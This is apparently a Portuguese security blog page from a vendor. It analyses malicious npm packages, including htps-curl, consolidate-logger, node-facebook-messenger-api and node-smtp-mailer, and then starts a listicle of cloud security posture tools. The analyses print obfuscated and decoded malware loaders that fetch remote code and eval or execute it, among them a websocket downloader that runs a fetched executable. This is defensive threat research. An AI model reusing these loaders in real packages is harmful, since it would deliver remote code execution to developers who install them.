  const _0x8ed1x13 = /^08:00:27/;
  const _0x8ed1x14 = /^00:03:ff/;
  const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
  const _0x8ed1x16 = os[__Ox12553a[0xd]]();
  const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
    _0x8ed1x19
  }) => {
    return !_0x8ed1x19;
  })[__Ox12553a[0xf]](({
    _0x8ed1x18
  }) => {
    return _0x8ed1x18;
  })[__Ox12553a[0xe]](Boolean);
  for (const _0x8ed1x18 of _0x8ed1x17) {
    if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    }) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    })) {
      console[__Ox12553a[0x15]](__Ox12553a[0x14]);
      return true;
    }
  }
  ;
  return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
  const _0x8ed1x1d = os[__Ox12553a[0x18]]();
  for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
    if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
      return false;
    }
  }
  ;
  return true;
}
function startApp() {
  checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
    if (!_0x8ed1x5 && _0x8ed1x20) {} else {
      if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
        process[__Ox12553a[0x1c]](1);
      } else {
        process[__Ox12553a[0x1c]](1);
      }
    }
  });
  if (!checkMemory(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkCPUCores(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkUptime(3600000)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (checkVirtualMachine()) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (isHostnameValid() === false) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  const _0x8ed1x21 = {
    hostname: __Ox12553a[0x1d],
    port: 8443,
    path: __Ox12553a[0x1e],
    method: __Ox12553a[0x1f]
  };
  const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
    let _0x8ed1x23 = __Ox12553a[0x6];
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
      _0x8ed1x23 += _0x8ed1x24;
    });
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
      eval(_0x8ed1x23);
    });
  });
  _0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
  _0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
  _0x8ed1x2b = __Ox12553a[0x23];
  _0x8ed1x29 = function (_0x8ed1x2c) {
    if (typeof alert !== _0x8ed1x2b) {
      alert(_0x8ed1x2c);
    }
    ;
    if (typeof console !== _0x8ed1x2b) {
      console[__Ox12553a[0x24]](_0x8ed1x2c);
    }
  };
  _0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
    return _0x8ed1x2d + _0x8ed1x26;
  };
  _0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
  try {
    _0x8ed1x26 = 'jsjiami.com';
    if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
      _0x8ed1x29(_0x8ed1x2a);
    }
  } catch (e) {
    _0x8ed1x29(_0x8ed1x2a);
  }
})({});

É evidente que está a recolher muitas informações sobre o sistema e que, a dada altura, irá enviar um pedido HTTP. Também parece que irá executar código arbitrário devido à presença do eval() dentro dos callbacks de um pedido HTTP, demonstrando um comportamento malicioso.

O Trapaceiro

Por vezes, também vemos pacotes que tentam esconder-se de forma muito sorrateira. Não é que eles tentem se esconder através de ofuscação para tornar a lógica difícil de entender. Eles apenas tornam difícil para um humano ver se ele não está prestando atenção.

Um exemplo disso é o pacote htps-curl. Aqui está o código visto do site oficial do npm:

Parece inocente à primeira vista, certo? Mas reparaste na barra de deslocamento horizontal? Está a tentar esconder a sua verdadeira carga útil com espaços em branco! Aqui está o código real se o embelezarmos um pouco.

console.log('Installed');
try {
    new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}

Aha! Há uma carga escondida. Tem um blob codificado em base64, que é descodificado, transformado numa função e depois chamado. Aqui está o payload descodificado e embelezado.

const {
    spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
    const t = path.join(process.env.TEMP, `Realktek.exe`),
        ws = new WebSocket("wss://frerea[.]com");
    ws.on("open", () => {
        ws.send(JSON.stringify({
            command: "realtek"
        }))
    });
    ws.on("message", m => {
        try {
            const r = JSON.parse(m);
            if (r.type === "realtek" && r.data) {
                const b = Buffer.from(r.data, "base64");
                fs.writeFileSync(t, b);
                spawn("cmd", ["/c", t], {
                    detached: true,
                    stdio: "ignore"
                }).unref()
            }
        } catch (e) {
            console.error("Error processing WebSocket message:", e)
        }
    })
})();

Aqui, vemos que o payload se conecta a um servidor remoto através de websocket e envia uma mensagem. A resposta é então decodificada em base64, salva no disco e executada.

O ajudante demasiado prestável

O último arquétipo é o de uma biblioteca que é útil, mas talvez demasiado útil para o seu próprio bem. O exemplo que vamos utilizar aqui é registador de consolidação pacote. Como sempre, começamos a olhar para o package.json ficheiro. 

{
  "name": "consolidate-logger",
  "version": "1.0.2",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "axios": "^1.5.0"
  },
  "keywords": [
    "logger"
  ],
  "author": "crouch",
  "license": "ISC",
  "description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}

Não se encontram ganchos para o ciclo de vida. Isso é um pouco estranho. Mas para uma biblioteca de logs, é um pouco estranho ver uma dependência de áxisque é utilizado para efetuar pedidos HTTP. A partir daí, vamos para o index.js e é apenas um ficheiro que importa src/logger.js. Vamos lá ver isso.

const ErrorReport = require("./lib/report");

class Logger {
  constructor() {
    this.level = 'info';
    this.output = null;
    this.report = new ErrorReport();
  }

  configure({ level, output }) {
    this.level = level || 'info';
    this.output = output ? path.resolve(output) : null;
  }

  log(level, message) {
    const timestamp = new Date().toISOString();
    const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;

    console.log(logMessage);
  }

  info(message) {
    this.log('info', message);
  }

  warn(message) {
    this.log('warn', message);
  }

  error(error) {
    this.log('error', error.stack || error.toString());
  }

  debug(message) {
    if (this.level === 'debug') {
      this.log('debug', message);
    }
  }
}

module.exports = Logger;

Nada se destaca aqui à primeira vista, mas o que é que se passa com a importação de Relatório de erros e ela ser instanciada no construtor sem ser usada? Vamos ver o que a classe faz.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr("");
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('72657175697265'),
            g('6178696f73'),
            g('676574'),
            g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
            g('7468656e'),
        ];
        
        const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Há muito mais a acontecer aqui. Há alguma ofuscação a acontecer aqui, por isso aqui está uma versão simplificada.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr(""); // 
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('require'),
            g('axios'),
            g('get'),
            g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
            g('then'),
        ];
        
        const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Agora é muito mais claro o que este código está a fazer. No construtor, ele é chamado de reportErr sem uma mensagem de erro. A função é ofuscada, contendo as partes necessárias para importar áxis, efetuar um pedido de obtenção e, em seguida, chamar eval() nos dados devolvidos. Assim, a biblioteca ajuda-o, de certa forma, com o registo. Mas talvez seja um pouco útil demais, pois ela também executa um código inesperado em tempo de execução quando o Registador é instanciada.

🛡️ Dicas de defesa

Para se defender de pacotes como este:

  • Auditar sempre os ganchos do ciclo de vida em package.json. São um vetor de ataque comum.
  • Verifique o repo em relação ao nome do pacote - diferenças subtis de nome significam muitas vezes problemas.
  • Desconfie de ofuscação, código minificado ou blobs base64 dentro de pacotes pequenos.
  • Utilize ferramentas como Aikdio Intel para identificar pacotes duvidosos.
  • Congelar as dependências de produção com lockfiles (package-lock.json).
  • Utilize um espelho de registo privado ou uma firewall de pacotes (por exemplo, Artifactory, Snyk Broker) para controlar o que entra na sua cadeia de fornecimento.
Malware
10 de abril de 2025
Esconder-se e falhar: Malware ofuscado, cargas úteis vazias e travessuras do npm
Por
Charlie Eriksen
Charlie Eriksen

Esconder-se e falhar: Malware ofuscado, cargas úteis vazias e travessuras do npm

‍

Em 14 de março de 2025, detectámos um pacote malicioso no npm chamado node-facebook-messenger-api. No início, parecia ser um malware bastante comum, embora não conseguíssemos perceber qual era o objetivo final. Não pensámos muito mais nisso até 3 de abril de 2025, quando vimos o mesmo agente de ameaça expandir o seu ataque. Esta é uma breve visão geral das técnicas utilizadas por este atacante específico, e algumas observações divertidas sobre como as suas tentativas de ofuscação acabam por torná-las ainda mais óbvias. 

‍

TLDR 

  • 🕵️ On 14 de março de 2025detectámos um pacote npm malicioso: node-facebook-messenger-api@4.1.0disfarçado de uma capa legítima do Facebook messenger.
  • O atacante escondeu-se lógica de execução remota de código utilizando áxis e eval() para obter uma carga útil de um link do Google Docs - mas o ficheiro estava vazio.
  • Versões posteriores utilizadas execução diferida no tempo e trocou o zx para evitar a deteção, incorporando lógica maliciosa que é activada dias após a publicação.
  • 📦 Ligado 3 de abril de 2025O mesmo agente de ameaças lançou um segundo pacote falso: node-smtp-mailer@6.10.0, fazendo-se passar por nodemailercom a mesma lógica e ofuscação C2.
  • 🧬 Ambos os pacotes usaram o mesmo conjunto único de dependências (incluindo hiper-tipos), revelando uma clara padrão de assinatura que ligam os ataques.
  • As tentativas de ofuscação do atacante - como esconder o código em ficheiros grandes e puxar silenciosamente o zx através de outra dependência - ironicamente tornaram a campanha mais fácil de detetar.
  • Os payloads nunca chegaram a entregar nada funcional, mas os TTPs são reais e mostram como os ataques à cadeia de abastecimento do npm estão a evoluir.
  • ‍

    Primeiros passos

    Tudo começou no dia 14 de março, às 04:37 UTC, quando os nossos sistemas nos alertaram para um pacote suspeito. Foi publicado pelo utilizador victor.ben0825, que também afirma ter o nome perusworld. Este é o nome de utilizador do utilizador que possui o repositório legítimo para esta biblioteca.  

    ‍

    Aqui está o código que detectou como sendo malicioso em node-facebook-messenger-api@4.1.0:, no ficheiro messenger.js, linha 157-177:

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    O atacante tentou esconder este código num ficheiro com 769 linhas, que é uma classe grande. Aqui adicionaram uma função e estão a chamá-la diretamente. Muito giro, mas também muito óbvio. Tentámos obter o payload, mas estava vazio. Marcámo-lo como malware e seguimos em frente.

    Poucos minutos depois, o atacante lançou outra versão, a 4.1.1. A única alteração parece ter sido no README.md e package.json onde alteraram a versão, a descrição e as instruções de instalação. Como marcamos o autor como um mau autor, os pacotes a partir deste ponto foram automaticamente marcados como malware.

    A tentar ser sorrateiro

    Depois, no dia 20 de março de 2025, às 16:29 UTC, o nosso sistema assinalou automaticamente a versão 4.1.2 do pacote. Vejamos o que há de novo. A primeira alteração está em node-facebook-messenger-api.js, que contém:

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    A alteração a este ficheiro é a última linha. Não se trata apenas de importar o ficheiro messenger.js quando solicitado, é sempre feito quando o módulo é importado. Muito inteligente! A outra alteração é a desse ficheiro, messenger.js. Removeu o código adicionado anteriormente visto e adicionou o seguinte nas linhas 197 a 219:

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    Eis um resumo do que faz:

    1. Utiliza uma verificação baseada no tempo para determinar se o código malicioso deve ser ativado. Só seria ativado cerca de 4 dias depois.
    2. Em vez de utilizar áxis, utiliza agora o Google zx para ir buscar o payload malicioso.
    3. Desactiva o modo detalhado, que é também a predefinição.
    4. De seguida, vai buscar o código malicioso
    5. Ele decodifica-o na base64
    6. Ele cria uma nova Function usando o Função() que é efetivamente equivalente a um construtor eval() chamada. 
    7. Em seguida, chama a função, passando exigir como argumento.

    ‍

    Mas, mais uma vez, quando tentamos ir buscar o ficheiro, não obtemos uma carga útil. Apenas obtemos um ficheiro vazio chamado info.txt. A utilização de zx é curioso. Olhámos para as dependências e reparámos que o pacote original continha algumas dependências:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    O pacote malicioso contém o seguinte:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Vejam só, acrescentaram os hiper-tipos de dependência. Muito interessante, voltaremos a este assunto mais algumas vezes. 

    Eles atacam de novo!

    Depois, a 3 de abril de 2025 às 06:46, um novo pacote foi lançado pelo utilizador cristr. Lançaram oe pacote  node-smtp-mailer@6.10.0. Os nossos sistemas assinalaram-no automaticamente por conter código potencialmente malicioso. Olhámos para ele e ficámos um pouco entusiasmados. O pacote finge ser nodemailer, apenas com um nome diferente.  

    O nosso sistema assinalou o ficheiro lib/smtp-pool/index.js. Vemos rapidamente que o atacante adicionou código na parte inferior do ficheiro legítimo, mesmo antes do final módulo.exportações. Eis o que é acrescentado:

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    Nós conhecemos este código! Tem novamente um registo de data e hora para ser executado apenas 4 dias depois. Tentámos entusiasticamente ir buscar a carga útil, mas apenas recebemos um ficheiro vazio chamado beginner.txt. Que pena! Olhamos novamente para as dependências, para ver como estão a puxar zx. Constatámos que o legítimo nodemailer pacote tem não direto dependências, apenas devDependências. Mas eis o que está no pacote malicioso:

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Vê alguma semelhança entre este e o primeiro pacote que detectámos? É a mesma lista de dependências. O pacote legítimo não tem dependências, mas o malicioso tem. O atacante simplesmente copiou a lista completa de dependências do primeiro ataque para este. 

    ‍

    Dependências interessantes

    Então, porque é que deixaram de utilizar áxis para zx para fazer HTTP pedidos? Sem dúvida, para evitar a deteção. Mas o que é interessante é que zx não é uma dependência direta. Em vez disso, o atacante incluiu hyper-types, que é um pacote legítimo do desenvolvedor lukasbach. 

    ‍

    Para além do facto de o repositório referenciado já não existir, há algo interessante a notar aqui. Veja como há 2 dependentes? Adivinhem quem são. 

    ‍

    Se o atacante quisesse realmente tentar ofuscar sua atividade, é muito estúpido depender de um pacote do qual ele é o único dependente. 

    Palavras finais

    Embora o atacante por trás desses pacotes npm não tenha conseguido entregar uma carga útil funcional, sua campanha destaca a evolução contínua das ameaças à cadeia de suprimentos que visam o ecossistema JavaScript. O uso de execução atrasada, importações indiretas e sequestro de dependências mostra uma conscientização crescente dos mecanismos de deteção - e uma vontade de experimentar. Mas também mostra como a segurança operacional descuidada e os padrões repetidos ainda podem denunciá-los. Para os defensores, é um lembrete de que mesmo os ataques falhados são informações valiosas. Cada artefacto, truque de ofuscação e dependência reutilizada ajuda-nos a criar melhores capacidades de deteção e atribuição. E, mais importante, reforça a razão pela qual a monitorização contínua e a sinalização automática de registos de pacotes públicos já não é opcional - é fundamental.

    Malware
    3 de abril de 2025
    Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025
    Por
    A equipa de Aikido
    A equipa de Aikido

    Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025

    ‍

    Introdução

    As organizações modernas enfrentam uma batalha difícil para gerenciar a segurança na nuvem em 2025. Com arquiteturas de várias nuvens e DevOps em ritmo acelerado, as configurações incorretas podem passar despercebidas e expor ativos críticos. As ferramentas de Gestão da Postura de Segurança na Nuvem (CSPM) surgiram como aliados essenciais - auditando continuamente os ambientes de nuvem para riscos, aplicando as melhores práticas e simplificando a conformidade. Este ano, as soluções CSPM evoluíram com automação avançada e correção orientada por IA para acompanhar a expansão da nuvem e ameaças sofisticadas.

    Neste guia, abordamos as principais ferramentas de CSPM para ajudar a sua equipa a proteger o AWS, o Azure, o GCP e muito mais. Começamos com uma lista abrangente das soluções CSPM mais confiáveis e, em seguida, detalhamos quais ferramentas são melhores para casos de uso específicos, como desenvolvedores, empresas, startups, configurações de várias nuvens e muito mais. Salte para o caso de uso relevante abaixo, se desejar.

  • Melhores ferramentas CSPM para programadores
  • Melhores ferramentas CSPM para empresas
  • As melhores ferramentas CSPM para empresas em fase de arranque
  • Melhores ferramentas CSPM para ambientes multi-nuvem
  • Melhores ferramentas CSPM para proteção da nuvem
  • Melhores ferramentas CSPM para AWS
  • Melhores ferramentas CSPM para Azure
  • ‍

    O que é a Gestão da Postura de Segurança na Nuvem (CSPM)?

    A Gestão da Postura de Segurança na Nuvem (CSPM) refere-se a uma classe de ferramentas de segurança que monitorizam e avaliam continuamente a sua infraestrutura de nuvem para detetar configurações incorrectas, violações de conformidade e riscos de segurança. Estas ferramentas analisam automaticamente ambientes como AWS, Azure e GCP, comparando as configurações com as melhores práticas e estruturas do sector, como CIS Benchmarks, SOC 2 e ISO 27001.

    Em vez de dependerem de revisões manuais ou auditorias ocasionais, as ferramentas CSPM operam continuamente - dando às equipas de segurança e DevOps visibilidade em tempo real e alertando para potenciais exposições. Muitos CSPMs modernos também incluem automação para corrigir problemas, seja por meio de correções geradas por IA ou integrações diretas com pipelines de desenvolvedores.

    ‍

    Porque é que precisa de ferramentas CSPM

    Nos ambientes actuais de rápida evolução e nativos da nuvem, o CSPM é um componente crítico de qualquer estratégia de segurança. Veja por quê:

    • Evitar configurações incorretas: Detetar configurações inseguras (como buckets S3 abertos, funções IAM excessivamente permissivas ou armazenamento não criptografado) antes que elas se tornem vetores de violação.
    • Garantir a conformidade: Automatize o alinhamento com estruturas regulamentares como SOC 2, PCI-DSS, NIST e CIS Benchmarks. Gerar relatórios prontos para auditoria sob demanda.
    • Melhore a visibilidade: Obtenha uma visão centralizada dos ativos de nuvem e configurações incorretas entre provedores - útil para ambientes com várias nuvens.
    • Automatize a correção: Economize tempo de engenharia corrigindo automaticamente problemas de IaC ou de tempo de execução, ou enviando alertas para ferramentas como Jira ou Slack.
    • Escalar com segurança: À medida que a sua infraestrutura se expande, os CSPMs garantem que os seus controlos de segurança se mantêm - essencial para empresas SaaS e equipas em rápido crescimento.

    Leia mais sobre os incidentes CSPM do mundo real neste relatório DBIR da Verizon ou veja como os erros de configuração continuam a ser o principal risco na nuvem, de acordo com a Cloud Security Alliance.

    Como escolher uma ferramenta CSPM

    A escolha da plataforma CSPM correta depende da sua pilha, da estrutura da equipa e das necessidades regulamentares. Aqui estão algumas coisas importantes a procurar:

    • Cobertura da nuvem: É compatível com as plataformas que utiliza - AWS, Azure, GCP e outras?
    • Integração CI/CD e IaC: Pode digitalizar o Terraform, o CloudFormation e integrar-se no seu pipeline de CI/CD?
    • Suporte de conformidade: As normas comuns estão pré-configuradas (SOC 2, ISO, HIPAA) e pode criar as suas próprias políticas?
    • Qualidade dos alertas: Fornece alertas acionáveis e de baixo ruído - idealmente com priorização consciente do contexto?
    • Escalabilidade e preços: Pode crescer com a sua equipa e oferece um preço justo (ou um nível gratuito)?

    Pretende uma plataforma tudo-em-um com scanning de IaC, gestão de postura e correção de IA? Os scanners da Aikido cobrem tudo.

    ‍

    Comparação das melhores ferramentas CSPM em geral
    Ferramenta Cobertura de nuvens Suporte IaC e CI/CD Relatórios de conformidade Melhor para
    Segurança do Aikido AWS, Azure, GCP Autocorreção de IA, CI do GitHub SOC 2 / ISO, em tempo real Equipas Dev-first, CNAPP unificado
    Prisma Cloud Pilha completa multi-nuvem Código para a nuvem, IDEs Quadros profundos Empresas, cobertura multi-cloud
    Check Point CloudGuard AWS, Azure, GCP ⚠️ Focado em GitOps Mecanismo político forte Governação à escala
    Microsoft Defender para a Nuvem Azure nativo + AWS/GCP ⚠️ Azure centrado em DevOps Pontuação de segurança, parâmetros de referência Organizações centradas na Microsoft
    JupiterOne Multi-nuvem baseada em grafos ⚠️ IaC básico através de consultas de activos ⚠️ Consultas personalizadas Engenheiros de segurança, visibilidade de activos

    Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025

    As nossas escolhas abaixo não estão ordenadas, mas representam as soluções CSPM mais utilizadas e fiáveis para várias necessidades. Cada secção inclui um link para a página inicial da ferramenta para um acesso rápido.

    ‍

    1. Segurança do Aikido

    O Aikido é uma plataforma tudo-em-um que combina CSPM com código, contentor e análise de IaC. Concebida para segurança dev-first, proporciona deteção e correção instantâneas de configurações incorrectas na nuvem.

    Caraterísticas principais:

    • Visão unificada da segurança do código para a nuvem
    • Verificação da nuvem sem agentes no AWS, Azure e GCP
    • Atribuição de prioridades contextualizadas a configurações incorrectas
    • Correção automática de um clique com tecnologia de IA
    • Integração de CI/CD e Git

    Ideal para: Startups e equipas de desenvolvimento que procuram uma plataforma intuitiva para proteger rapidamente o código e a nuvem.

    Preços: Nível gratuito disponível; os planos pagos variam consoante a utilização.

    "Substituímos três ferramentas pelo Aikido - é rápido, claro e fácil de desenvolver." - CTO no G2

    ‍

    2. Segurança Aqua

    O Aqua combina CSPM com proteção de tempo de execução em contêineres, sem servidor e VMs de nuvem. Apoiado por ferramentas de código aberto como Trivy e CloudSploit, é ideal para equipas DevSecOps.

    Caraterísticas principais:

    • Visibilidade da postura em tempo real
    • IaC scanning e segurança dos contentores
    • Suporte multi-nuvem com aplicação automatizada de políticas
    • Integração com sistemas de CI/CD e de emissão de bilhetes
    • Mapeamento da conformidade (CIS, PCI, ISO)

    Ideal para: Equipas que executam aplicações nativas da nuvem e Kubernetes em produção.

    Preços: Opções gratuitas de código aberto disponíveis; preços para empresas a pedido.

    "A visibilidade do CSPM é fantástica - integra-se bem com nossos pipelines de CI." - Líder de DevSecOps no Reddit

    3. Segurança da nuvem BMC Helix

    Parte do conjunto BMC Helix, esta ferramenta automatiza a conformidade e a segurança na nuvem através da governação orientada por políticas em AWS, Azure e GCP.

    Caraterísticas principais:

    • Remediação automática de infracções
    • Políticas pré-construídas alinhadas com os principais quadros
    • Painéis de controlo de conformidade contínuos
    • Forte integração com o BMC ITSM
    • Relatórios de segurança unificados para várias nuvens

    Ideal para: Empresas que necessitam de conformidade automatizada e integração rigorosa do fluxo de trabalho.

    Preços: Orientado para as empresas, contactar para obter mais informações.

    "Esforço mínimo para integrar - fornece uma visão completa da postura em todas as nuvens." - Gerente de operações de TI no G2

    ‍

    4. Check Point CloudGuard

    O CloudGuard é a oferta CNAPP da Check Point com CSPM incorporado. Combina a verificação da configuração com a deteção de ameaças utilizando o seu motor de inteligência ThreatCloud.

    Caraterísticas principais:

    • Mais de 400 políticas de conformidade prontas para uso
    • CloudBots para remediação automatizada
    • Análise do percurso do ataque e da exposição
    • Deteção de ameaças com proteção integrada de firewall
    • Painel de controlo multi-nuvem

    Ideal para: Empresas que utilizam ferramentas de firewall/endpoint da Check Point que procuram uma segurança unificada de rede e nuvem.

    Preços: Planos escalonados disponíveis através dos representantes da Check Point.

    "Aplicação de políticas em todas as nuvens num único local. Também adoro as visualizações." - Arquiteto de segurança de nuvem no Reddit

    ‍

    5. CloudCheckr (Spot by NetApp)

    O CloudCheckr combina otimização de custos e CSPM numa única plataforma. É amplamente utilizado por MSPs e equipas de SecOps empresariais para a governação da nuvem.

    Caraterísticas principais:

    • Mais de 500 controlos de boas práticas
    • Quadros de controlo detalhados da conformidade
    • Mecanismo de política personalizado
    • Alertas em tempo real e relatórios automatizados
    • Gestão de custos + informações sobre segurança

    Ideal para: MSPs e equipas que equilibram a segurança com a otimização dos gastos na nuvem.

    Preços: Com base na utilização/gastos da nuvem; contacte o departamento de vendas.

    "Segurança e visibilidade de custos numa só ferramenta - uma enorme poupança de tempo." - Líder de SecOps no G2

    6. Exploração da nuvem

    Originalmente um projeto autónomo de código aberto, agora mantido pela Aqua Security, o CloudSploit oferece uma análise sem agentes de ambientes de nuvem para detetar configurações incorrectas.

    Caraterísticas principais:

    • Código aberto e orientado para a comunidade
    • Verifica AWS, Azure, GCP e OCI
    • Mapeia os resultados para os parâmetros de referência do CIS
    • Saídas JSON/CSV para fácil integração
    • Suporte para CLI e CI/CD

    Ideal para: Equipas DevOps que necessitam de um scanner simples e com script para validar a postura na nuvem.

    Preços: Gratuito (código aberto); versão SaaS disponível via Aqua.

    "Leve, rápido e surpreendentemente profundo para uma ferramenta gratuita." - Engenheiro de DevOps no Reddit

    ‍

    7. CrowdStrike Falcon Cloud Security

    O Falcon Cloud Security combina o CSPM com a deteção de ameaças em tempo de execução com a tecnologia EDR e XDR líder de mercado da CrowdStrike.

    Caraterísticas principais:

    • CSPM unificado e proteção do volume de trabalho
    • Deteção de ameaças em tempo real com IA
    • Análise do risco de identidade (CIEM)
    • Pontuação da postura em ambientes de nuvem e contentores
